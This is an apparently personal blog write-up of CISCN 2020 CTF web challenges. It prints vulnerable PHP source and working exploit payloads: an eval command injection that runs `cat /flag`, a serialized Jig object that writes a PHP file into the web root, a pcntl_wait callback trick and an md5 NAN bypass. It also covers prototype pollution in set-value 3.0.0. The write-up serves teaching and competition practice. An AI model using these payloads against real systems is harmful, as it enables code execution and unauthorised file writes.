zoukankan      html  css  js  c++  java
  • CISCN 2020 Web WriteUp

    前言

    今天刚打了CISCN2020,简单的WEB题都没有AK... 太菜了

    题解

    easyphp

    通过题目描述猜测本题的考点应该是要让子线程非正常退出,执行phpinfo()得到flag。

    根据代码:

    <?php
    
      //题目环境:php:7.4.8-apache
    
      $pid = pcntl_fork();
    
      if ($pid == -1) {
    
        die('could not fork');
    
      }else if ($pid){
    
        $r=pcntl_wait($status);
    
        if(!pcntl_wifexited($status)){
    
          phpinfo();
    
        }
    
      }else{
    
        highlight_file(__FILE__);
    
        if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\]|exec|pcntl/i",$_GET['a'])){
    
          call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
    
        }
    
        posix_kill(posix_getpid(), SIGUSR1);
    
      }
    

    查询手册得到:

    pcntl_wait函数刮起当前进程的执行直到一个子进程退出或接收到一个信号要求中断当前进程或调用一个信号处理函数。 如果一个子进程在调用此函数时已经退出(俗称僵尸进程),此函数立刻返回。子进程使用的所有系统资源将 被释放。

    故我们尝试使用回调函数调用pcntl_wait函数,让子线程异常退出。

    TureFalse在充当int类型参数时会转成1和0。

    EXP:

    /?a=call_user_func&b=pcntl_wait
    

    littlegame

    通过扫描工具得到源码www.zip,下载下来读取后发现此题很多都是假功能,读取flag处与其他功能在正常逻辑下是毫无办法获取到的。

    发现setFn(req.session.knight, key, value);这串代码可以给session赋值。

    此函数是由require('set-value');该库导入。

    通过在package.json得知此库的版本为3.0.0。通过搜索引擎查阅得知,这里存在原型链污染漏洞。https://snyk.io/vuln/SNYK-JS-SETVALUE-450213

    污染原型:

    原型链污染

    获取FLAG:

    获取FLAG

    rceme

    打开题目得到源码:

    <?php
     error_reporting(0);
     highlight_file(__FILE__);
     parserIfLabel($_GET['a']);
     function danger_key($s) {
       $s=htmlspecialchars($s);
       $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
       $s = str_ireplace($key,"*",$s);
       $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
       foreach ($danger as $val){
         if(strpos($s,$val) !==false){
           die('很抱歉,执行出错,发现危险字符【'.$val.'】');
         }
       }
       if(preg_match("/^[a-z]$/i")){
         die('很抱歉,执行出错,发现危险字符');
       }
       return $s;
     }
     function parserIfLabel( $content ) {
       $pattern = '/{if:([sS]+?)}([sS]*?){ends+if}/';
       if ( preg_match_all( $pattern, $content, $matches ) ) {
         $count = count( $matches[ 0 ] );
         for ( $i = 0; $i < $count; $i++ ) {
           $flag = '';
           $out_html = '';
           $ifstr = $matches[ 1 ][ $i ];
           $ifstr=danger_key($ifstr,1);
           if(strpos($ifstr,'=') !== false){
             $arr= splits($ifstr,'=');
             if($arr[0]=='' || $arr[1]==''){
               die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
             }
             $ifstr = str_replace( '=', '==', $ifstr );
           }
           $ifstr = str_replace( '<>', '!=', $ifstr );
           $ifstr = str_replace( 'or', '||', $ifstr );
           $ifstr = str_replace( 'and', '&&', $ifstr );
           $ifstr = str_replace( 'mod', '%', $ifstr );
           $ifstr = str_replace( 'not', '!', $ifstr );
           if ( preg_match( '/{|}/', $ifstr)) {
             die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
           }else{
             @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
           }
    
           if ( preg_match( '/([sS]*)?{else}([sS]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
             switch ( $flag ) {
               case 'if':
                 if ( isset( $matches2[ 1 ] ) ) {
                   $out_html .= $matches2[ 1 ];
                 }
                 break;
               case 'else':
                 if ( isset( $matches2[ 2 ] ) ) {
                   $out_html .= $matches2[ 2 ];
                 }
                 break;
             }
           } elseif ( $flag == 'if' ) {
             $out_html .= $matches[ 2 ][ $i ];
           }
           $pattern2 = '/{if([0-9]):/';
           if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
             $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
             $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
             $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
             $out_html = $this->parserIfLabel( $out_html );
           }
           $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
         }
       }
       return $content;
     }
     function splits( $s, $str=',' ) {
       if ( empty( $s ) ) return array( '' );
       if ( strpos( $s, $str ) !== false ) {
         return explode( $str, $s );
       } else {
         return array( $s );
       }
     }
    

    关键点在:

    @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
    

    此处应该可进行任意命令执行。

    复制下来在本地调试,很容易就得到了EXP:

    /?a={if:true)echo%201;echo%20`cat%20/flag`;if(true}aaa{end%20if}
    

    babyunserialize

    这题比赛时也没做出来,也是赛后看的题解才学会的。

    看来对于这种审计题还是自己太菜了,之后得找几个cms来练练。

    jig.php的Jig类存在任意写两道,EXP:

    <?php
    namespace DB;
    class Jig {
        const
            FORMAT_JSON=0,
            FORMAT_Serialized=1;
        
        protected
            //! Storage location
            $dir = '/var/www/html/',
            //! Current storage format
            $format = self::FORMAT_JSON,
            //! Jig log
            $data = array("y1ng.php"=>array("a"=>"<?php phpinfo();?>")),
            //! lazy load/save files
            $lazy = 1;
    }
    $jig = new Jig();
    echo urlencode(serialize($jig));
    

    easytrick

    打开题目得到源代码:

    <?php
    class trick{
        public $trick1;
        public $trick2;
        public function __destruct(){
            $this->trick1 = (string)$this->trick1;
            if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
                die("你太长了");
            }
            if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
                echo file_get_contents("/flag");
            }
        }
    }
    highlight_file(__FILE__);
    unserialize($_GET['trick']);
    

    这题比赛时没做出来,赛后看其他师傅的题解才学到,Y1ng师傅tql。

    EXP:

    $tr->trick1 = NAN;
    $tr->trick2 = NAN;
    

    后记

    这次比赛题目其实都不算难,但是自己的成绩还是不理想,隔壁的大师傅早AK了,orz。

    太菜了。

  • 相关阅读:
    iframe显示高度自适应 兼容多浏览器
    Asp.Net在Global.asax中实现URL 的重写
    文件流下载 ASP.NET
    Asp.Net实现全局定时器功能
    C#中获取本机IP地址,子网掩码,网关地址
    Asp.Net缓存实例
    Google API 天气数据缓存到一个XML中
    获取服务器信息
    C# NET 中英混合字符串截断实例
    Asp.Net实现长文章分页显示功能
  • 原文地址:https://www.cnblogs.com/yunen/p/13561370.html
Copyright © 2011-2022 走看看